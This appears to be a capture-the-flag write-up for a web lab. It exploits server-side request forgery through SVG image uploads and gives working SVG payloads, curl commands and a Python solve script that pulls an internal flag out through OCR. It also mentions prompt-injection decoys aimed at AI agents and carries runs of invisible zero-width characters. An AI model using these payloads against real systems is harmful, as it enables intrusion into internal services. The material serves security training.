← Back to Writeups
CUSTOMMediumWeb

Lab 88 — ShelfSpace — SSRF via SVG Image Upload

XESXOR9/2/20266 min read
#web#custom#medium#image_preprocessing_for_ocr#internal_service_enumeration_v#ocr_based_data_exfiltration#response_size_differentiation#ssrf_via_svg_image_xlink_href

Lab 88 — ShelfSpace — SSRF via SVG Image Upload

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: image_preprocessing_for_ocr, internal_service_enumeration_via_html_comment, ocr_based_data_exfiltration, response_size_differentiation, ssrf_via_svg_image_xlink_href

Summary

Walkthrough of the CUSTOM Web Lab 88 — ShelfSpace — SSRF via SVG Image Upload. Task: ShelfSpace marketplace with SVG image upload and server-side thumbnail generation pipeline. Solution: Exploit SSRF via SVG <image xlink:href> to reach internal metadata service on localhost:3001

Description

You are testing ShelfSpace, a modern online marketplace platform built by GridMarket Inc. where independent sellers list and sell their products. Sellers have a full-featured dashboard to manage inventory, upload product images, track orders, and view analytics. The platform supports various image formats for product listings and automatically generates optimized PNG thumbnails from uploaded images. The image processing pipeline handles JPG, PNG, GIF, and SVG formats. Your goal is to find the flag hidden somewhere in the application's internal infrastructure. Not all services running inside the platform are visible from the outside. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An online marketplace where sellers upload product images (including SVG). The server-side thumbnail generation pipeline processes SVGs by rendering them — including fetching URLs referenced in <image xlink:href> elements — creating an SSRF vector to access internal services.

Target: https://e788e5c9-ac84-4c64-ab84-e2b29d4fcb48.labs.hackadvisor.io/ Credentials: user@test.com / password123 (seller account)

Analysis

Application Features

  1. Dashboard — seller dashboard with product management, orders, analytics
  2. Product Creation (/dashboard/products/new) — form with title, description, price, category, status, and image upload accepting JPG, PNG, GIF, SVG via enctype="multipart/form-data"
  3. Thumbnail Pipeline — server-side SVG rendering that generates 300x300 PNG thumbnails stored at /thumbnails/thumb_<id>.png ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Information Leak

HTML source comment revealed internal service topology:

html
<!-- ShelfSpace Platform v2.3.1 | Services: web(8080), metadata(3001) -->

This exposed an internal metadata service running on port 3001, not accessible from outside.

Anti-Bot Decoys

The page contained multiple decoy flags and honeypot traps:

  • FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments
  • Invisible divs with fake "SYSTEM PROMPT OVERRIDE" messages
  • These were correctly identified and ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Vector Identification

Tested multiple SVG-based attack vectors against the thumbnail generation pipeline:

VectorResult
XXE (DOCTYPE SYSTEM entities)Failed — entities not resolved, identical ~1341 byte thumbnails
SVG <image xlink:href>Worked! — renderer fetches the referenced URL
SVG <foreignObject>Partial — produced blank/minimal output
SVG CSS url()Failed
SVG <use xlink:href>Failed

The SVG renderer follows URLs in <image> elements, fetching the response and rendering it into the thumbnail PNG. This is a blind SSRF — the response is not returned as text but rendered as an image. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

bash
curl -c cookies.txt -d "email=user@test.com&password=password123" \
  -L https://TARGET.labs.hackadvisor.io/login

Step 2: SSRF to Internal Metadata Service Root

Upload an SVG with <image xlink:href> pointing to the internal metadata service:

xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="600">
  <image xlink:href="http://localhost:3001/" x="0" y="0" width="800" height="600"/>
</svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -b cookies.txt -F "title=SSRF Test" -F "description=Test" \
  -F "price=1.00" -F "category=Electronics" -F "status=draft" \
  -F "image=@ssrf.svg;type=image/svg+xml" \
  https://TARGET.labs.hackadvisor.io/dashboard/products/new

The resulting thumbnail (11720 bytes) contained a rendered HTML page. OCR extraction revealed:

  • "ShelfSpace Internal Metadata"
  • "Service Version 1.4"
  • Available Endpoints: GET /health, GET /config, GET /flag.svg

Step 3: Endpoint Enumeration via Response Size

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since the SSRF output is a rendered image (not raw text), valid vs. invalid endpoints were distinguished by thumbnail file size:

EndpointThumbnail SizeStatus
/ (root)11720 bytesValid — service index
/health2936 bytesValid
/config6363 bytesValid — "Platform Configuration"
/flag1061 bytes404 — not found
/flag.svg5625 bytesValid!

404 responses consistently produced ~1061 byte thumbnails, making it easy to identify valid endpoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract Flag from /flag.svg

Upload SVG with SSRF to the flag endpoint:

xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="600">
  <image xlink:href="http://localhost:3001/flag.svg" x="0" y="0" width="800" height="600"/>
</svg>

The flag was rendered as text inside the thumbnail PNG. To extract it:

  1. Cropped the flag text line (y=152-162 in the 300x300 thumbnail)
  2. Scaled up 30x using LANCZOS interpolation (to 12000x400 pixels)
  3. Applied binary thresholding at various levels
  4. Used Tesseract OCR with hex character whitelist ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
"""
ShelfSpace SSRF via SVG Image Upload — Solve Script
Exploits SVG <image xlink:href> SSRF in thumbnail generation pipeline
to reach internal metadata service and extract the flag.
"""
import requests
import re
import subprocess
from PIL import Image

BASE = "https://TARGET.labs.hackadvisor.io"

s = requests.Session()

# Step 1: Login
s.post(f"{BASE}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=True)


def upload_svg_ssrf(target_url):
    """Upload SVG with SSRF payload and return thumbnail content."""
    svg_payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="600">
  <image xlink:href="{target_url}" x="0" y="0" width="800" height="600"/>
</svg>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    r = s.post(f"{BASE}/dashboard/products/new",
        files={"image": ("test.svg", svg_payload, "image/svg+xml")},
        data={
            "title": "SSRF Test",
            "description": "Test",
            "price": "1.00",
            "category": "Electronics",
            "status": "draft"
        },
        allow_redirects=True
    )

    # Find newest thumbnail from product listing
    r2 = s.get(f"{BASE}/dashboard/products")
    thumbs = re.findall(r'/thumbnails/thumb_(\d+)\.png', r2.text)
    if thumbs:
        newest = max(int(t) for t in thumbs)
        r3 = s.get(f"{BASE}/thumbnails/thumb_{newest}.png")
        return r3.content
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def ocr_thumbnail(png_data, crop_box=None):
    """OCR a thumbnail PNG, optionally cropping first."""
    with open("/tmp/thumb.png", "wb") as f:
        f.write(png_data)

    img = Image.open("/tmp/thumb.png").convert('L')
    if crop_box:
        img = img.crop(crop_box)

    # Scale up 30x with LANCZOS and apply binary threshold
    big = img.resize((img.width * 30, img.height * 30), Image.LANCZOS)
    bw = big.point(lambda x: 255 if x > 130 else 0, '1').convert('L')
    bw.save("/tmp/ocr_input.png")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    result = subprocess.run(
        ['tesseract', '/tmp/ocr_input.png', '-', '--psm', '7',
         '-c', 'tessedit_char_whitelist=FLAGflag{}0123456789abcdef'],
        capture_output=True, text=True
    )
    return result.stdout.strip()


# Step 2: Enumerate internal metadata service
print("[*] Fetching metadata service root...")
root_data = upload_svg_ssrf("http://localhost:3001/")
print(f"    Root thumbnail size: {len(root_data)} bytes")

# Step 3: Fetch flag endpoint
print("[*] Fetching flag from http://localhost:3001/flag.svg ...")
flag_data = upload_svg_ssrf("http://localhost:3001/flag.svg")
print(f"    Flag thumbnail size: {len(flag_data)} bytes")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: OCR the flag line (y=152-162 in 300x300 thumbnail)
flag_text = ocr_thumbnail(flag_data, crop_box=(0, 152, 300, 162))
print(f"\n[+] Flag: {flag_text}")

OCR consistently read the flag across thresholds 110-159:

FLAG{REDACTED}

The thumbnail also showed:

  • "Internal Platform Key"
  • "DO NOT SHARE - GridMarket Inc. Confidential" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering image_preprocessing_for_ocr, internal_service_enumeration_via_html_comment, ocr_based_data_exfiltration, response_size_differentiation, ssrf_via_svg_image_xlink_href was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-11 • CUSTOM • Lab 88 — ShelfSpace — SSRF via SVG Image Upload • Difficulty: Medium